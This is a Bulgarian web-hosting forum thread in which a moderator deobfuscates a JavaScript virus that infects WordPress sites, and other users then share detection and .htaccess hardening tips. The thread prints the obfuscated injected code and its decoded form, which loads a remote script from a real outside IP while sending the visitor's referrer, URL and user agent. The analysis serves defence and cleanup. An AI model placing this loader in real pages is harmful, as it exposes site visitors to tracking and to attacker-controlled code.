Разкодиране/разопаковане на WordPress вирус

cloxy

Super Moderator
Екип
Пешо от HostBulgaria ме помоли да разкодирам един WordPress вирус, базиран на JavaScript, който е доста популярен на последък, за да разберем какво прави. Процесът е интересен и смятам да го опиша, а и може да е полезен за някого, който иска да разкодира други вируси, базирани на JS.

Ето го и вирусът:
Код:
var _0х4470=["\х39\х3D\х31\х2E\х64\х28\х27\х35\х27\х29\х3B\х62\х28\х21\х39\х29\х7B\х38\х3D\х31\х2E\х6A\х3B\х34\х3D\х36\х28\х31\х2E\х69\х29\х3B\х37\х3D\х36\х28\х67\х2E\х6B\х29\х3B\х61\х20\х32\х3D\х31\х2E\х65\х28\х27\х63\х27\х29\х3B\х32\х2E\х66\х3D\х27\х35\х27\х3B\х32\х2E\х68\х3D\х27\х77\х3A\х2F\х2F\х74\х2E\х75\х2E\х6C\х2E\х76\х2F\х73\х2E\х72\х3F\х71\х3D\х27\х2B\х34\х2B\х27\х26\х6D\х3D\х27\х2B\х38\х2B\х27\х26\х6E\х3D\х27\х2B\х37\х3B\х61\х20\х33\х3D\х31\х2E\х6F\х28\х27\х33\х27\х29\х5B\х30\х5D\х3B\х33\х2E\х70\х28\х32\х29\х7D","\х7C","\х73\х70\х6C\х69\х74","\х7C\х64\х6F\х63\х75\х6D\х65\х6E\х74\х7C\х6A\х73\х7C\х68\х65\х61\х64\х7C\х68\х67\х68\х6A\х68\х6A\х68\х6A\х67\х7C\х64\х67\х6C\х6C\х68\х67\х75\х6B\х7C\х65\х73\х63\х61\х70\х65\х7C\х75\х67\х6B\х6B\х6A\х6B\х6A\х7C\х68\х67\х68\х6A\х67\х68\х6A\х68\х6A\х67\х6A\х68\х7C\х65\х6C\х65\х6D\х65\х6E\х74\х7C\х76\х61\х72\х7C\х69\х66\х7C\х73\х63\х72\х69\х70\х74\х7C\х67\х65\х74\х45\х6C\х65\х6D\х65\х6E\х74\х42\х79\х49\х64\х7C\х63\х72\х65\х61\х74\х65\х45\х6C\х65\х6D\х65\х6E\х74\х7C\х69\х64\х7C\х6E\х61\х76\х69\х67\х61\х74\х6F\х72\х7C\х73\х72\х63\х7C\х72\х65\х66\х65\х72\х72\х65\х72\х7C\х6C\х6F\х63\х61\х74\х69\х6F\х6E\х7C\х75\х73\х65\х72\х41\х67\х65\х6E\х74\х7C\х32\х31\х36\х7C\х6C\х63\х7C\х75\х61\х7C\х67\х65\х74\х45\х6C\х65\х6D\х65\х6E\х74\х73\х42\х79\х54\х61\х67\х4E\х61\х6D\х65\х7C\х61\х70\х70\х65\х6E\х64\х43\х68\х69\х6C\х64\х7C\х72\х65\х66\х7C\х70\х68\х70\х7C\х7C\х39\х31\х7C\х31\х39\х36\х7C\х36\х34\х7C\х68\х74\х74\х70","\х72\х65\х70\х6C\х61\х63\х65","","\х5C\х77\х2B","\х5C\х62","\х67"];
eval(function (_0хa064х1,_0хa064х2,_0хa064х3,_0хa064х4,_0хa064х5,_0хa064х6){_0хa064х5=function (_0хa064х3){return _0хa064х3.toString(36);} ;if(!_0х4470[5][_0х4470[4]](/^/,String)){while(_0хa064х3--){_0хa064х6[_0хa064х3.toString(_0хa064х2)]=_0хa064х4[_0хa064х3]||_0хa064х3.toString(_0хa064х2);} ;_0хa064х4=[function (_0хa064х5){return _0хa064х6[_0хa064х5];} ];_0хa064х5=function (){return _0х4470[6];} ;_0хa064х3=1;} ;while(_0хa064х3--){if(_0хa064х4[_0хa064х3]){_0хa064х1=_0хa064х1[_0х4470[4]]( new RegEхp(_0х4470[7]+_0хa064х5(_0хa064х3)+_0х4470[7],_0х4470[8]),_0хa064х4[_0хa064х3]);} ;} ;return _0хa064х1;} (_0х4470[0],33,33,_0х4470[3][_0х4470[2]](_0х4470[1]),0,{}));

Забелязваме, че първата променлива е масив от стойности, които са кодирани чрез JavaScript escapes. Разкодираме ги и получаваме това:

Код:
var _0х4470=["9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}","|","split","|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http","replace","","\w+","\b","g"];
eval(function(_0хa064х1,_0хa064х2,_0хa064х3,_0хa064х4,_0хa064х5,_0хa064х6){_0хa064х5=function (_0хa064х3){return _0хa064х3.toString(36);} ;if(!_0х4470[5][_0х4470[4]](/^/,String)){while(_0хa064х3--){_0хa064х6[_0хa064х3.toString(_0хa064х2)]=_0хa064х4[_0хa064х3]||_0хa064х3.toString(_0хa064х2);} ;_0хa064х4=[function (_0хa064х5){return _0хa064х6[_0хa064х5];} ];_0хa064х5=function (){return _0х4470[6];} ;_0хa064х3=1;} ;while(_0хa064х3--){if(_0хa064х4[_0хa064х3]){_0хa064х1=_0хa064х1[_0х4470[4]]( new RegEхp(_0х4470[7]+_0хa064х5(_0хa064х3)+_0х4470[7],_0х4470[8]),_0хa064х4[_0хa064х3]);} ;} ;return _0хa064х1;} (_0х4470[0],33,33,_0х4470[3][_0х4470[2]](_0х4470[1]),0,{}));

вече е доста по-малко, но също толкова грозно. Можем да направим променливите малко по-красиви, а не да се опитват да ни заблуждават, че са адреси в паметта. Първият масив го кръщаваме "x". Който има набито око ще забележи, че втората част от вируса е стандартна "p a c k e r" функция на JS. Преименуваме и тези променливи. Получава се това:

Код:
var x=["9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}","|","split","|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http","replace","","\w+","\b","g"];
eval(function(p,a,c,k,e,r){e=function (c){return c.toString(36);} ;if(!x[5][x[4]](/^/,String)){while(c--){r[c.toString(a)]=k[c]||c.toString(a);} ;k=[function (e){return r[e];} ];e=function (){return x[6];} ;c=1;} ;while(c--){if(k[c]){p=p[x[4]]( new RegExp(x[7]+e(c)+x[7],x[8]),k[c]);} ;} ;return p;} (x[0],33,33,x[3][x[2]](x[1]),0,{}));

Вече е доста по-красиво. Започват да си личат имената на функциите и методите, които са използвани. Но за да го сглобим е необходимо да обединим двете части в едно. Тоест, във функцията да заместим елементите от първия масив. Получава се стандартна p a c k e r функция:

Код:
eval(function(p,a,c,k,e,r){e=function (c){return c.toString(36);};if(!''.replace(/^/,String)){while(c--)r[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}("9=1.d('5');b(!9){8=1.j;4=6(1.i);7=6(g.k);a 2=1.e('c');2.f='5';2.h='w://t.u.l.v/s.r?q='+4+'&m='+8+'&n='+7;a 3=1.o('3')[0];3.p(2)}",33,33,'|document|js|head|hghjhjhjg|dgllhguk|escape|ugkkjkj|hghjghjhjgjh|element|var|if|script|getElementById|createElement|id|navigator|src|referrer|location|userAgent|216|lc|ua|getElementsByTagName|appendChild|ref|php||91|196|64|http'.split('|'),0,{}))

Това вече си има алгоритми за разкодиране, няма да навлизам в подробности. Оттук нататък е лесно. Крайният резултат, така упорито скрит от разработчика на вируса, е:

Код:
element = document.getElementById('dgllhguk');
if (!element) {
	hghjghjhjgjh = document.location;
	hghjhjhjg = escape(document.referrer);
	ugkkjkj = escape(navigator.userAgent);
	var js = document.createElement('script');
	js.id = 'dgllhguk';
	js.src = 'http://91.196.216.64/s.php?ref=' + hghjhjhjg + '&lc=' + hghjghjhjgjh + '&ua=' + ugkkjkj;
	var head = document.getElementsByTagName('head')[0];
	head.appendChild(js)
}

Вижда се откъде се зарежда вече същинската част от кода. Променливите са ни ги оставили малко грозни, но на мен така ми харесват в сравнение с това, което беше.

Надявам се да е полезно да се филтрира вирусът. Специфичното при него е, че всеки път променливите са с различни имена, по-точно различни префикси, с цел да не могат да го хванат скенерите. Тоест, всяко копие е уникално като изходен код.
 
Последно редактирано:
Re: Разкодиране/разопаковане на WordPress вирус

Това е алгоритъм за компресиране, при който идеята е ако в кода много пъти се повтарят едни и същи имена на функции, променливи и т.н., да ги помним само веднъж и чрез адресация да им казваме къде са. Ефективно е при компресиране на големи по обем JavaScript кодове.
 
За: Разкодиране/разопаковане на WordPress вирус

За: Разкодиране/разопаковане на WordPress вирус

Да вметна само уточнение. Прилежащия вирус, както и други разновидности с различни имена на функции се намират само в .JS файловете. Така че, ако имате някакви съмнения проверявате първо тях. Лошото в случая е, че най-масовата програма за засичане на malware по сайтове - Maldetect НЕ хваща тези вируси, вероятно поради това, че са доста добре прикрити.
 
За: Разкодиране/разопаковане на WordPress вирус

За: Разкодиране/разопаковане на WordPress вирус

cloxy, ако сам си го правил: respect и браво. Мерси и от мен.
 
За: Разкодиране/разопаковане на WordPress вирус

За: Разкодиране/разопаковане на WordPress вирус

cloxy, ако сам си го правил: respect и браво. Мерси и от мен.

ОФФТОПИК: не стига че го е правил сам ами и приятелката му ще ме намрази.... виж по кое време го е правил.
 
Re: За: Разкодиране/разопаковане на WordPress вирус

Re: За: Разкодиране/разопаковане на WordPress вирус

ОФФТОПИК: не стига че го е правил сам ами и приятелката му ще ме намрази.... виж по кое време го е правил.

Честно казано последната стъпка я направи именно приятелката ми Лили, защото не беше точно стандартна "p a c k e r" функция, имаше пипано по алгоритъма с цел още усложняване. На мен вече ми беше гръмнала главата.

Ето го с малко по-разбираеми променливи:

Код:
element = document.getElementById('dgllhguk');
if (!element) {
	location = document.location;
	referrer = escape(document.referrer);
	user_agent = escape(navigator.userAgent);
	var js = document.createElement('script');
	js.id = 'dgllhguk';
	js.src = 'http://91.196.216.64/s.php?ref=' + referrer + '&lc=' + location + '&ua=' + user_agent;
	var head = document.getElementsByTagName('head')[0];
	head.appendChild(js)
}

Какво прави:

Зарежда друг скрипт от въпросното IP, като му подава като информация текущият URL, User Agent-а на клиента и от къде е дошъл (referrer), ако всичко това вече не е изпълнено.

Зарежда се в head частта на документа, подобно на Google Analytics. Странното е, че не са го направили асинхронно. Щеше да е много по-невидимо.

От другия хост може да си зарежда каквото поиска и да прави каквото поиска. В момента изглежда не връща никакъв код. Пускат го само когато им трябва за нещо, примерно да си пренасочат малко трафик от Гугъл.
 
Re: Разкодиране/разопаковане на WordPress вирус

Има части от кода, които винаги след тези кодировки ща са едни и същи. Примерно скриптът няма как да се направи без думата "document". В JavaScript escapes тя е '\x64\x6F\x63\x75\x6D\x65\x6E\x74'.

Търсете за горния стринг в кодовете си и ако го намерите, значи файлът е заразен. Стана като антивирусна, колкото и да мразя тази дума 🙂
 
Последно редактирано:
Re: Разкодиране/разопаковане на WordPress вирус

Да благодаря и аз лично на cloxy, понеже проблема тръгна от мен - имах заразени мисля 10-тина блога.
Искам само да вметна, че скрипта се зарежда асинхронно/избирателно или по-точно не всеки път. Кода го имах на различни места в различните блогове. Шаблоните са купувани, не са сваляни от разни х*****и сайтове. Интересното е, че пръв изпищя Yandex, Гугльо така и не разбра какво става.
Мерси още веднъж за съдействието на cloxy и на s1yf0x бързото съдействие!
 
Re: Разкодиране/разопаковане на WordPress вирус

И пак да споделя, че отново ме налазиха... явно пробойната е сериозна. Всичките ми блогове са пълни отново с мизерия. Хващам ги с един скенер "Exploit Scanner" плъгин за WP.
Открива всякакви гадове- eval, IFrame, display:none и подобни.
Сега слагам 444 на wp-config.php и .htaccess в wp-admin:
<Limit GET POST HEAD PUT>
order deny, allow
deny from all
allow from (моeто IP N1)
allow from (моeто IP N1)
</Limit>
и ако пак продължава да се самовъзпроизвежда тази гад става лошо.
 
Re: Разкодиране/разопаковане на WordPress вирус

Булрам, след тези промени в htaccess и wp-config, ако не помогнат - направи стъпките от онази статия, която ти дадох за оправяне на нахакани WP. След това отново си направи тези защити.
 
За: Разкодиране/разопаковане на WordPress вирус

За: Разкодиране/разопаковане на WordPress вирус

Рекох да пробвам този "Exploit Scanner", но след като го активирам и отида на настройките му, ми дава празна бяла страница. Явно някоя друга защита спира действието му, което по-скоро май е добре. Пробвай с това:

# protect wpconfig.php
<files wp-config.php>
order allow,deny
deny from all
</files>

<Files 403.shtml>
order allow,deny
allow from all
</Files>

# to protect the .htaccess file itself:
<Files .htaccess>
order deny,allow
deny from all
</Files>

deny from х.х.х.х

и си запази останалите, ако имаш mod_rewrite и разни други кеширащи неща.. wp-admin го направи само с твойто IP, и сложи празни индекси и php-та за неиндексиране от търсачки в останалите wp папки за контент, плъгини и инклууд.
 
За: Разкодиране/разопаковане на WordPress вирус

За: Разкодиране/разопаковане на WordPress вирус

Много, много полезна информация има в тази тема. Напоследък доста често ми се случва да се боря с тази твар. Благодаря на всички, които са се изказали. Научих доста!
 

Back
Горе